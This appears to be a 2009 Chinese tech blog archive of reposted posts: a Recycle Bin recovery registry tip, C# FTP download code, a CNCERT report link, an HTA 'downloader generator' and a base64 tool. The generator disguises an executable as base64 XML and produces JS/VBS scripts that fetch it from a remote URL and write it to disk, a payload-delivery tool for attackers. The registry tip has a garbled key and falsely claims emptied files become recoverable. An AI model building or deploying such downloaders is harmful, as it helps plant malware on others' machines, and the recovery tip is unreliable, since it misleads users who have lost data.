2009年12月2日 星期三

找回誤刪並已清除的資源回收桶文件

步驟:
1、單擊「開始——運行,然後輸入regedit (打開註冊表)

2、依次展開:

HEKEY——LOCAL——MACHIME/SOFTWARE/
microsoft/WINDOWS/CURRENTVERSION/
EXPLORER/DESKTOP /NAMESPACE
在左邊空白外點擊「新建」,選擇:「主鍵」,把它命名為「645FFO40——5081——101B——9F08—— 00AA002F954E」再把右邊的「默認」的主鍵的鍵值設為「回收站」,然後退出註冊表。就OK啦。

3、要重啟你的計算機。
只要你機器沒有運行過磁盤整理。系統完好.任何時候的文件都可以找回來

註: 本文轉載自網路 非原創
轉載自 Yezi  原文

2009年12月1日 星期二

C#實現FTP下載代碼(含續傳與進度列)

最近在學習C#程式語言
於是乎模仿了網路上的範例
依樣畫葫蘆寫個FTP的下載代碼(含續傳、進度顯示)
private void Download(string filePath, string fileName)
{
    FtpWebRequest ftpReq;
    //宣告FTP連線
    ftpReq = (FtpWebRequest)FtpWebRequest.Create(new Uri("ftp://" + IpAdd + "/" + fileName));
    //取得欲下載檔案的大小(位元)存至 fiesize
    ftpReq.Method = WebRequestMethods.Ftp.GetFileSize;
    //認證
    ftpReq.Credentials = new NetworkCredential(UName, UPWord);
    int filesize = (int)ftpReq.GetResponse().ContentLength;
    
    //宣告FTP連線
    ftpReq = (FtpWebRequest)FtpWebRequest.Create(new Uri("ftp://" + IpAdd + "/" + fileName));
    //下載
    ftpReq.Method = WebRequestMethods.Ftp.DownloadFile;
    //認證
    ftpReq.Credentials = new NetworkCredential(UName, UPWord);

    //binaary
    ftpReq.UseBinary = true;

    //進度列初始化
    progressBar1.Value = 0;
    progressBar1.Maximum = filesize;
    lbProgress.Text = "0/" + filesize.ToString();

    //支援續傳
    FileInfo fi = new FileInfo(filePath + "\\" + fileName);
    FileStream fs = null;
    //檢測是否已有相同檔名的存在於client端
    if (fi.Exists)
    {
        //若存在,由中斷點繼續傳輸
        ftpReq.ContentOffset = fi.Length;
        //.apend 檔案存在時開啟檔案至末端 or 建立新檔
        fs = new FileStream(filePath + "\\" + fileName, FileMode.Append);
    }
    else //client端無檔案 則重新建立新檔
        fs = new FileStream(filePath + "\\" + fileName, FileMode.Create);
    //建立ftp連線
    FtpWebResponse ftpResp = (FtpWebResponse)ftpReq.GetResponse();
    
    bool bfinish = false;                
    try
    {
        //取得下載用的stream物件
        //ftpResp.GetResponseStream()--->擷取包含從FTP server傳送之回應資料的資料流
        using (Stream stm = ftpResp.GetResponseStream())
        {
            //以block方式多批寫入
            byte[] buff = new byte[5];
            //讀data
            int len = 0;

            while (fs.Length < filesize)
            {
                //取得長度
                len = stm.Read(buff, 0, buff.Length);
                fs.Write(buff, 0, len);

                //更新 progress bar
                if (progressBar1.Value + len <= progressBar1.Maximum)
                {
                    progressBar1.Value += len;
                    lbProgress.Text = "傳輸中... " + progressBar1.Value.ToString() + "/" + filesize.ToString();
                    progressBar1.Refresh();
                    Application.DoEvents();
                }
                //傳完
                if (fs.Length == filesize)
                {
                    progressBar1.Value = progressBar1.Maximum;
                    lbProgress.Text = "傳輸成功! " + filesize.ToString() + "/" + filesize.ToString();
                }
            }

            fs.Flush();
            //傳完,bfinish = true
             //清除資料流的緩衝區
            bfinish = (fs.Length == filesize);
            fs.Close();
            stm.Close();
        }
    }
    catch (System.Net.WebException we)
    {
        //若未傳完才要觸發 exception
        if (!bfinish)
            throw we;
    }
    ftpResp.Close();       
}

以上模仿參考至黑暗執行緒前輩的文章
相當讚的部落格!使我獲益良多
文章一  文章二
如有侵權我會立刻刪除!

2009年11月30日 星期一

網絡安全信息與動態週報-2009年第1期




 關於CNCERT
國家計算機網絡應急技術處理協調中心(簡稱國家互聯網應急中心,CNCERT/CC)成立於1999年9月,是工業和信息化部領導下的國家級網絡安全應急機構,具體負責協調我國各計算機應急組織(CERT)共同處理國家公共互聯網上的緊急安全事件,為國家公共互聯網、重要信息基礎設施以及關鍵部門提供計算機網絡安全監測、預警、應急、防範等服務和技術支持,收集、核實、彙總、發佈有關互聯網網絡安全的權威信息,組織國內網絡安全應急組織參與國際網絡安全合作和交流等事宜。

網址:www.cert.org.cn


週報內容如下:

一、本週網絡安全基本態勢(11月16日-11月22日)
●  本週活躍惡意域名
●  本週活躍惡意代碼
●  本週重要漏洞
二、業界新聞速遞
●  政府監管和政策法規動態
●  網絡安全事件與威脅
●  業界動態

官網下載:  點擊下載  假使官網速度過慢 可嘗試本站下載

本站下載:  點擊下載

2009年11月27日 星期五

XMLDOM下載者生成器(xmldown.hta)

以下代碼保存成hta文件,可生成js和vbs下載者


<HTA:APPLICATION
    ID="xmldown"
    Caption="yes"
    SCROLL="auto"
     border="none"
     borderStyle="static"
     SINGLEINSTANCE="yes"
     maximizebutton="no"
     BORDER="no"
     icon="dxdiag.exe">
<script language=vbs>

Sub Window_onLoad
    window.resizeTo screen.width/1.6,screen.height/3
    window.moveTo 200,200

End Sub

Sub CreateXml(path,File)
  
    Set objStream = CreateObject("ADODB.Stream")
    objStream.Type = 1
    objStream.Open()
    objStream.LoadFromFile(Path)
    objStream.position = 0
   
Set XmlDoc = CreateObject("Microsoft.XMLDOM")
    XmlDoc.async = False
    Set Root = XmlDoc.createProcessingInstruction("xml", "version='1.0' encoding='UTF-8'")
    XmlDoc.appendChild(Root)
    XmlDoc.appendChild(XmlDoc.CreateElement("root"))
    Set Xfile = XmlDoc.SelectSingleNode("//root").AppendChild(XmlDoc.CreateElement("file"))
    Set Xstream = Xfile.AppendChild(XmlDoc.CreateElement("stream"))
    Xstream.SetAttribute "xmlns:dt", "urn:schemas-microsoft-com:datatypes"
    Xstream.dataType = "bin.base64"
    Xstream.nodeTypedValue = objStream.Read()
    XmlDoc.Save(File)
    Set XmlDoc = Nothing
Set Root = Nothing
    Set objStream=Nothing
   
   
End Sub

Function x(obj)
Set x=document.getElementById(obj)
End function

Function Findfile(str)
Set FSO = CreateObject("Scripting.FileSystemObject")
If FSO.FileExists(str) Then
findfile=true
Else
findfile=false
End If
End Function

Function jsdown()
Set FSO = CreateObject("Scripting.FileSystemObject")
with fso.opentextfile((CreateObject("WScript.Shell")).CurrentDirectory&"\jsdown.js",2,true)
.write x("jsdown").value
end with
end function

Function vbsdown()
Set FSO = CreateObject("Scripting.FileSystemObject")
with fso.opentextfile((CreateObject("WScript.Shell")).CurrentDirectory&"\vbsdown.vbs",2,true)
.write x("vbsdown").value
end with
end function
</script>
<body>
<h4>1.生成下載用的xml文件</h4>
選擇下載的exe文件:<input type=file name="file1" id="file1" size="20">
保存路徑 <input type=text name="path" id="pathname" value="c:\down.xml" size="20">
<input type="button" value="生成xml文件" onclick='vbs:CreateXml x("file1").value,x("pathname").value:If Findfile(x("pathname").value) = true Then msgbox("生成成功,請傳到某個空間"):x("url").innerHTML="<font color=red>生成成功,請傳到某個空間</font>"'> <br>
<h4>2.生成下載者</h4>
<button onclick='vbs:jsdown():If Findfile("jsdown.js") = true Then msgbox "生成成功":x("url").innerHTML="用法是cscript jsdown.js xmlurl savepath"' >生成js下載者</button><button onclick='vbs:vbsdown():If Findfile("vbsdown.vbs") = true Then msgbox "生成成功":x("url").innerHTML="<font color=blue>用法是cscript vbsdown.js xmlurl savepath</font>"'>生成vbs下載者< /button><br><br><br><br>
<div id="url"></div>

<textarea style="visibility:hidden" name=jswodn id=jsdown rows="1" cols="1">
var objArgs = WScript.Arguments;
var objXmlFile =new ActiveXObject("Microsoft.XMLDOM");
objXmlFile.async=false;
objXmlFile.load(objArgs(0).toLowerCase());
do
{
WScript.sleep(100);
}
while (!objXmlFile.readyState == 4)

if (objXmlFile.readyState == 4)
{
var objStream = new ActiveXObject("ADODB.Stream")
var objNodeList =objXmlFile.getElementsByTagName("stream")[0].nodeTypedValue

with(objStream)
{
objStream.Type = 1;
objStream.Open();
objStream.Write(objNodeList);
objStream.SaveToFile(objArgs(1).toLowerCase(),2);
objStream.close();
     }
}

delete objXmlFile;
delete objStream;

</textarea>

<textarea style="visibility:hidden" name=vbswodn id=vbsdown rows="1" cols="1">
Set objXmlFile = CreateObject("Microsoft.XMLDOM")
objXmlFile.async=false
objXmlFile.load(Wscript.arguments(0))
Do While objXmlFile.readyState<>4
wscript.sleep 100
Loop
If objXmlFile.readyState = 4 Then

Set objNodeList = objXmlFile.documentElement.selectNodes("//file/stream")
Set objStream = CreateObject("ADODB.Stream")
     With objStream
      .Type = 1
      .Open
      .Write objNodeList(0).nodeTypedvalue
      .SaveToFile Wscript.arguments(1), 2
      .Close
     End With
Set objStream = Nothing

End If
   
Set objXmlFile = Nothing
</textarea>
</body>


註: 本文轉載自網路 非原創
轉載自 teN.potgnayiaH.wwW vbs小鋪  原文


用 XMLDOM 和 ADODB.Stream 實現base64編碼解碼

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<title> 用 XMLDOM 和 ADODB.Stream 實現base64編碼解碼 </title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<style type="text/css" title="">
#textarea1,#textarea3,#textarea5 { background-color: #EEEEEE; }  
</style>
</head>

<body>

<h3>用 XMLDOM 和 ADODB.Stream 實現base64編碼解碼</h3>
<h5>By: CuiXiPing(無心)</h5>

<h4>1.對文件的base64編碼</h4>

<input type=file name="file1" id="file1" size="50">
<input type="button" value="base64編碼" onclick="if(!file1.value){alert('請選擇文件 ')}else{textarea1.value=Base64EncodeFile(file1.value)}">
<br>
<textarea id="textarea1" rows="6" cols="80" readOnly></textarea>

<h4>2.對文本的base64編碼</h4>

<input type="button" value="base64編碼" onclick="textarea3.value=Base64EncodeText(textarea2.value)">
<br>
<textarea id="textarea2" rows="4" cols="40">堅決抵制日貨</textarea>
<textarea id="textarea3" rows="4" cols="40" readOnly></textarea>

<h4>3.對文本的base64解碼</h4>

<input type="button" value="base64解碼" onclick="textarea5.value=Base64DecodeText(textarea4.value)">
<br>
<textarea id="textarea4" rows="4" cols="40">vOG+9rXW1sbI1bv1</textarea>
<textarea id="textarea5" rows="4" cols="40" readOnly></textarea>

<script language="javaScript">
<!--  
function Base64EncodeFile(fileSpec){  
var xml_dom = new ActiveXObject("MSXML2.DOMDocument");  
var ado_stream = new ActiveXObject("ADODB.Stream");  
var tmpNode = xml_dom.createElement("tmpNode");  
tmpNode.dataType = "bin.base64";  

ado_stream.Type = 1; // 1=adTypeBinary   
if(ado_stream.state==0){ // 0=adStateClosed 1=adStateOpen
ado_stream.Open();  
}  
ado_stream.LoadFromFile(fileSpec);  
tmpNode.nodeTypedValue = ado_stream.Read(-1); // -1=adReadAll
ado_stream.Close();  

return tmpNode.text;  
}  
function Base64EncodeText(TextStr){  
var xml_dom = new ActiveXObject("MSXML2.DOMDocument");  
var ado_stream = new ActiveXObject("ADODB.Stream");  
var tmpNode = xml_dom.createElement("tmpNode");  
tmpNode.dataType = "bin.base64";  

ado_stream.Charset = "gb2312";  
ado_stream.Type = 2; // 1=adTypeBinary 2=adTypeText
if(ado_stream.state==0){ // 0=adStateClosed 1=adStateOpen
ado_stream.Open();  
}  
ado_stream.WriteText(TextStr);  
ado_stream.Position = 0;  
ado_stream.Type = 1; // 1=adTypeBinary 2=adTypeText
tmpNode.nodeTypedValue = ado_stream.Read(-1); // -1=adReadAll
ado_stream.Close();  

return tmpNode.text;  
}  
function Base64DecodeText(Base64Str){  
var xml_dom = new ActiveXObject("MSXML2.DOMDocument");  
var ado_stream = new ActiveXObject("ADODB.Stream");  
var tmpNode = xml_dom.createElement("tmpNode");  
tmpNode.dataType = "bin.base64";  
tmpNode.text = Base64Str;  

ado_stream.Charset = "gb2312";  
ado_stream.Type = 1; // 1=adTypeBinary 2=adTypeText
ado_stream.Open();  
ado_stream.Write(tmpNode.nodeTypedValue);  
ado_stream.Position = 0;  
ado_stream.Type = 2; // 1=adTypeBinary 2=adTypeText
var str = ado_stream.ReadText(-1); // -1=adReadAll
ado_stream.Close();  

return str;  
}  
//-->
</script>
</body>
</html>

註: 本文轉載自網路 非原創
轉載自 teN.potgnayiaH.wwW vbs小鋪 原文